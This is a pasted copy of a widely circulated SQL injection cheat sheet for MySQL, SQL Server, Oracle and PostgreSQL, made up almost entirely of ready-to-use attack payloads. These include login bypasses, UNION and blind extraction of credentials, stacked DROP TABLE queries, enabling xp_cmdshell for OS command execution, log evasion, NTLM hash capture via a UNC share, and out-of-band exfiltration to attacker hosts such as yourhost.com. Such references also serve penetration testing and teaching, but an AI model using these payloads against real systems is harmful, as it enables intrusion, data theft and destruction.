· 7 years ago · Sep 20, 2018, 11:18 AM
1About the SQL Injection Cheat Sheet
2This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO's blog. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences.
3
4Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.
5
6M : MySQL
7S : SQL Server
8P : PostgreSQL
9O : Oracle
10+ : Possibly all other databases
11Examples;
12(MS) means : MySQL and SQL Server etc.
13(M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server
14Table Of Contents
15Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
16Line Comments
17SQL Injection Attack Samples
18Inline Comments
19Classical Inline Comment SQL Injection Attack Samples
20MySQL Version Detection Sample Attacks
21Stacking Queries
22Language / Database Stacked Query Support Table
23About MySQL and PHP
24Stacked SQL Injection Attack Samples
25If Statements
26MySQL If Statement
27SQL Server If Statement
28If Statement SQL Injection Attack Samples
29Using Integers
30String Operations
31String Concatenation
32Strings without Quotes
33Hex based SQL Injection Samples
34String Modification & Related
35Union Injections
36UNION – Fixing Language Issues
37Bypassing Login Screens
38Enabling xp_cmdshell in SQL Server 2005
39Finding Database Structure in SQL Server
40Fast way to extract data from Error Based SQL Injections in SQL Server
41Blind SQL Injections
42Covering Your Tracks
43Extra MySQL Notes
44Second Order SQL Injections
45Out of Band (OOB) Channel Attacks
46Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
47Ending / Commenting Out / Line Comments
48Line Comments
49Comments out rest of the query.
50Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.
51
52-- (SM)
53DROP sampletable;--
54# (M)
55DROP sampletable;#
56Line Comments Sample SQL Injection Attacks
57Username: admin'--
58SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
59This is going to log you as admin user, because rest of the SQL query will be ignored.
60Inline Comments
61Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
62
63/*Comment Here*/ (SM)
64DROP/*comment*/sampletable
65DR/**/OP/*bypass blacklisting*/sampletable
66SELECT/*avoid-spaces*/password/**/FROM/**/Members
67/*! MYSQL Special SQL */ (M)
68This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
69
70SELECT /*!32302 1/0, */ 1 FROM tablename
71Classical Inline Comment SQL Injection Attack Samples
72ID: 10; DROP TABLE members /*
73Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
74SELECT /*!32302 1/0, */ 1 FROM tablename
75Will throw an divison by 0 error if MySQL version is higher than3.23.02
76MySQL Version Detection Sample Attacks
77ID: /*!32302 10*/
78ID: 10
79You will get the same response if MySQL version is higher than 3.23.02
80SELECT /*!32302 1/0, */ 1 FROM tablename
81Will throw a division by 0 error if MySQL version is higher than3.23.02
82Stacking Queries
83Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
84
85; (S)
86SELECT * FROM members; DROP members--
87Ends a query and starts a new one.
88
89Language / Database Stacked Query Support Table
90green: supported, dark gray: not supported, light gray: unknown
91
92SQL Injection Cheat sheet
93
94About MySQL and PHP;
95To clarify some issues;
96PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it's not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
97
98Stacked SQL Injection Attack Samples
99ID: 10;DROP members --
100SELECT * FROM products WHERE id = 10; DROP members--
101This will run DROP members SQL sentence after normal SQL Query.
102
103If Statements
104Get response based on an if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.
105
106MySQL If Statement
107IF(condition,true-part,false-part) (M)
108SELECT IF(1=1,'true','false')
109SQL Server If Statement
110IF condition true-part ELSE false-part (S)
111IF (1=1) SELECT 'true' ELSE SELECT 'false'
112Oracle If Statement
113BEGIN
114IF condition THEN true-part; ELSE false-part; END IF; END; (O)
115IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
116PostgreSQL If Statement
117SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P)
118SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
119If Statement SQL Injection Attack Samples
120if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
121This will throw an divide by zero error if current logged user is not "sa" or "dbo".
122
123Using Integers
124Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
125
1260xHEXNUMBER (SM)
127You can write hex like these;
128
129SELECT CHAR(0x66) (S)
130SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
131SELECT 0x50 + 0x45 (this is integer now!) (M)
132String Operations
133String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
134
135String Concatenation
136+ (S)
137SELECT login + '-' + password FROM members
138|| (*MO)
139SELECT login || '-' || password FROM members
140*About MySQL "||";
141If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. A better way to do it is using CONCAT()function in MySQL.
142
143CONCAT(str1, str2, str3, ...) (M)
144Concatenate supplied strings.
145SELECT CONCAT(login, password) FROM members
146Strings without Quotes
147These are some direct ways to using strings but it's always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
148
1490x457578 (M) - Hex Representation of string
150SELECT 0x457578
151This will be selected as string in MySQL.
152
153In MySQL easy way to generate hex representations of strings use this;
154SELECT CONCAT('0x',HEX('c:\\boot.ini'))
155Using CONCAT() in MySQL
156SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
157This will return 'KLM'.
158SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
159This will return 'KLM'.
160SELECT CHR(75)||CHR(76)||CHR(77) (O)
161This will return 'KLM'.
162SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
163This will return 'KLM'.
164Hex based SQL Injection Samples
165SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
166This will show the content of c:\boot.ini
167String Modification & Related
168ASCII() (SMP)
169Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
170
171SELECT ASCII('a')
172CHAR() (SM)
173Convert an integer of ASCII.
174
175SELECT CHAR(64)
176Union Injections
177With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
178
179SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
180This will combine results from both news table and members table and return all of them.
181
182Another Example:
183' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
184
185UNION – Fixing Language Issues
186While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
187
188SQL Server (S)
189Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.
190
191SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
192MySQL (M)
193Hex() for every possible issue
194Bypassing Login Screens (SMO+)
195SQL Injection 101, Login tricks
196
197admin' --
198admin' #
199admin'/*
200' or 1=1--
201' or 1=1#
202' or 1=1/*
203') or '1'='1--
204') or ('1'='1--
205....
206Login as different user (SM*)
207' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
208*Old versions of MySQL doesn't support union queries
209
210Bypassing second MD5 hash check login screens
211If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
212
213Bypassing MD5 Hash Check Example (MSP)
214Username :admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
215Password : 1234
216
21781dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
218
219
220Error Based - Find Columns Names
221Finding Column Names with HAVING BY - Error Based (S)
222In the same order,
223
224' HAVING 1=1 --
225' GROUP BY table.columnfromerror1 HAVING 1=1 --
226' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
227' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
228If you are not getting any more error then it's done.
229Finding how many columns in SELECT query by ORDER BY (MSO+)
230Finding column number by ORDER BY can speed up the UNION SQL Injection process.
231
232ORDER BY 1--
233ORDER BY 2--
234ORDER BY N-- so on
235Keep going until get an error. Error means you found the number of selected columns.
236Data types, UNION, etc.
237Hints,
238Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
239To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
240Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
241Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
242Finding Column Type
243' union select sum(columntofind) from users-- (S)
244Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
245[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
246
247If you are not getting an error it means column is numeric.
248Also you can use CAST() or CONVERT()
249SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
25011223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
251No Error - Syntax is right. MS SQL Server Used. Proceeding.
25211223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
253No Error – First column is an integer.
25411223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
255Error! – Second column is not an integer.
25611223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
257No Error – Second column is a string.
25811223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
259Error! – Third column is not an integer. ...
260
261Microsoft OLE DB Provider for SQL Server error '80040e07'
262Explicit conversion from data type int to image is not allowed.
263You'll get convert() errors before union target errors ! So start with convert() then union
264
265Simple Insert (MSO+)
266'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
267
268Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes
269@@version (MS)
270Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also, you can use insert, update statements or in functions.
271
272INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
273
274Bulk Insert (S)
275Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.
276
277Create table foo( line varchar(8000) )
278bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
279Drop temp table, and repeat for another file.
280BCP (S)
281Write text file. Login Credentials are required to use this function.
282bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
283
284VBS, WSH in SQL Server (S)
285You can use VBS, WSH scripting in SQL Server because of ActiveX support.
286
287declare @o int
288exec sp_oacreate 'wscript.shell', @o out
289exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
290Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
291
292Executing system commands, xp_cmdshell (S)
293Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
294
295EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
296
297Simple ping check (configure your firewall or sniffer to identify request before launch it),
298
299EXEC master.dbo.xp_cmdshell 'ping '
300
301You can not read results directly from error or union or something else.
302
303Some Special Tables in SQL Server (S)
304Error Messages
305master..sysmessages
306Linked Servers
307master..sysservers
308Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
309SQL Server 2000: masters..sysxlogins
310SQL Server 2005 : sys.sql_logins
311More Stored Procedures for SQL Server (S)
312Cmd Execute (xp_cmdshell)
313exec master..xp_cmdshell 'dir'
314Registry Stuff (xp_regread)
315xp_regaddmultistring
316xp_regdeletekey
317xp_regdeletevalue
318xp_regenumkeys
319xp_regenumvalues
320xp_regread
321xp_regremovemultistring
322xp_regwrite
323exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
324exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
325Managing Services (xp_servicecontrol)
326Medias (xp_availablemedia)
327ODBC Resources (xp_enumdsn)
328Login mode (xp_loginconfig)
329Creating Cab Files (xp_makecab)
330Domain Enumeration (xp_ntsec_enumdomains)
331Process Killing (need PID) (xp_terminate_process)
332Add new procedure (virtually you can execute whatever you want)
333sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
334exec xp_webserver
335Write text file to a UNC or an internal path (sp_makewebtask)
336MSSQL Bulk Notes
337SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
338
339DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
340
341HOST_NAME()
342IS_MEMBER (Transact-SQL)
343IS_SRVROLEMEMBER (Transact-SQL)
344OPENDATASOURCE (Transact-SQL)
345
346INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
347OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
348
349You can not use sub selects in SQL Server Insert queries.
350
351SQL Injection in LIMIT (M) or ORDER (MSO)
352SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
353
354If injection is in second limit you can comment it out or use in your union injection
355
356Shutdown SQL Server (S)
357When you're really pissed off, ';shutdown --
358
359Enabling xp_cmdshell in SQL Server 2005
360By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.
361
362EXEC sp_configure 'show advanced options',1
363RECONFIGURE
364
365EXEC sp_configure 'xp_cmdshell',1
366RECONFIGURE
367
368Finding Database Structure in SQL Server (S)
369Getting User defined Tables
370SELECT name FROM sysobjects WHERE xtype = 'U'
371
372Getting Column Names
373SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
374
375Moving records (S)
376Modify WHERE and use NOT IN or NOT EXIST,
377... WHERE users NOT IN ('First User', 'Second User')
378SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
379Using Dirty Tricks
380SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
381
382Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
383
384
385Fast way to extract data from Error Based SQL Injections in SQL Server (S)
386';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
387
388Detailed Article: Fast way to extract data from Error Based SQL Injections
389
390Finding Database Structure in MySQL (M)
391Getting User defined Tables
392SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'
393
394Getting Column Names
395SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'
396
397Finding Database Structure in Oracle (O)
398Getting User defined Tables
399SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
400
401Getting Column Names
402SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
403
404Blind SQL Injections
405About Blind SQL Injections
406In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
407
408Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code
409Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.
410
411In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
412
413Real and a bit Complex Blind SQL Injection Attack Sample
414This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.
415
416TRUE and FALSE flags mark queries returned true or false.
417
418TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
419
420FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
421
422TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
423FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
424
425TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
426FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
427
428TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
429FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
430
431FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
432
433Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.
434
435
436Making Databases Wait / Sleep For Blind SQL Injection Attacks
437First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
438
439WAIT FOR DELAY 'time' (S)
440This is just like sleep, wait for specified time. CPU safe way to make database wait.
441
442WAITFOR DELAY '0:0:10'--
443
444Also, you can use fractions like this,
445
446WAITFOR DELAY '0:0:0.51'
447
448Real World Samples
449Are we 'sa' ?
450if (select user) = 'sa' waitfor delay '0:0:10'
451ProductID = 1;waitfor delay '0:0:10'--
452ProductID =1);waitfor delay '0:0:10'--
453ProductID =1';waitfor delay '0:0:10'--
454ProductID =1');waitfor delay '0:0:10'--
455ProductID =1));waitfor delay '0:0:10'--
456ProductID =1'));waitfor delay '0:0:10'--
457BENCHMARK() (M)
458Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
459
460BENCHMARK(howmanytimes, do this)
461
462Real World Samples
463Are we root ? woot!
464IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
465Check Table exist in MySQL
466IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
467pg_sleep(seconds) (P)
468Sleep for supplied seconds.
469
470SELECT pg_sleep(10);
471Sleep 10 seconds.
472sleep(seconds) (M)
473Sleep for supplied seconds.
474
475SELECT sleep(10);
476Sleep 10 seconds.
477dbms_pipe.receive_message (O)
478Sleep for supplied seconds.
479
480(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
481
482{INJECTION} = You want to run the query.
483
484If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.
485
486Covering Your Tracks
487SQL Server -sp_password log bypass (S)
488SQL Server don't log queries that includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)
489
490Clear SQL Injection Tests
491These tests are simply good for blind sql injection and silent attacks.
492
493product.asp?id=4 (SMO)
494product.asp?id=5-1
495product.asp?id=4 OR 1=1
496
497product.asp?name=Book
498product.asp?name=Bo'%2b'ok
499product.asp?name=Bo' || 'ok (OM)
500product.asp?name=Book' OR 'x'='x
501Extra MySQL Notes
502Sub Queries are working only MySQL 4.1+
503Users
504SELECT User,Password FROM mysql.user;
505SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
506SELECT ... INTO DUMPFILE
507Write query into a new file (can not modify existing files)
508UDF Function
509create function LockWorkStation returns integer soname 'user32';
510select LockWorkStation();
511create function ExitProcess returns integer soname 'kernel32';
512select exitprocess();
513SELECT USER();
514SELECT password,USER() FROM mysql.user;
515First byte of admin hash
516SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
517Read File
518query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
519MySQL Load Data infile
520By default it's not available !
521create table foo( line blob );
522load data infile 'c:/boot.ini' into table foo;
523select * from foo;
524More Timing in MySQL
525select benchmark( 500000, sha1( 'test' ) );
526query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
527select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
528Enumeration data, Guessed Brute Force
529select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
530Potentially Useful MySQL Functions
531MD5()
532MD5 Hashing
533SHA1()
534SHA1 Hashing
535PASSWORD()
536ENCODE()
537COMPRESS()
538Compress data, can be great in large binary reading in Blind SQL Injections.
539ROW_COUNT()
540SCHEMA()
541VERSION()
542Same as @@version
543Second Order SQL Injections
544Basically, you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.
545
546Name : ' + (SELECT TOP 1 password FROM users ) + '
547Email : xx@xx.com
548
549If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
550
551Forcing SQL Server to get NTLM Hashes
552This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
553
554Bulk insert from a UNC Share (S)
555bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
556Check out Bulk Insert Reference to understand how can you use bulk insert.
557
558Out of Band Channel Attacks
559SQL Server
560?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
561Makes DNS resolution request to {INJECT}.yourhost.com
562
563?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+({INJECTION})+'.yourhost.com\\test.txt'; EXEC master..xp_dirtree @q
564Makes DNS resolution request to {INJECTION}.yourhost.com
565
566{INJECTION} = You want to run the query.
567MySQL
568?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}), 'yourhost.com\\')))
569Makes a NBNS query request/DNS resolution request to yourhost.com
570
571?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt')
572Writes data to your shared folder/file
573
574{INJECTION} = You want to run the query.
575
576Oracle
577?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'') FROM DUAL)
578Sniffer application will save results
579
580?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
581Results will be saved in HTTP access logs
582
583?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)
584You need to sniff dns resolution requests to yourhost.com
585
586?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||'.yourhost.com',80) FROM DUAL)
587You need to sniff dns resolution requests to yourhost.com
588
589{INJECTION} = You want to run the query.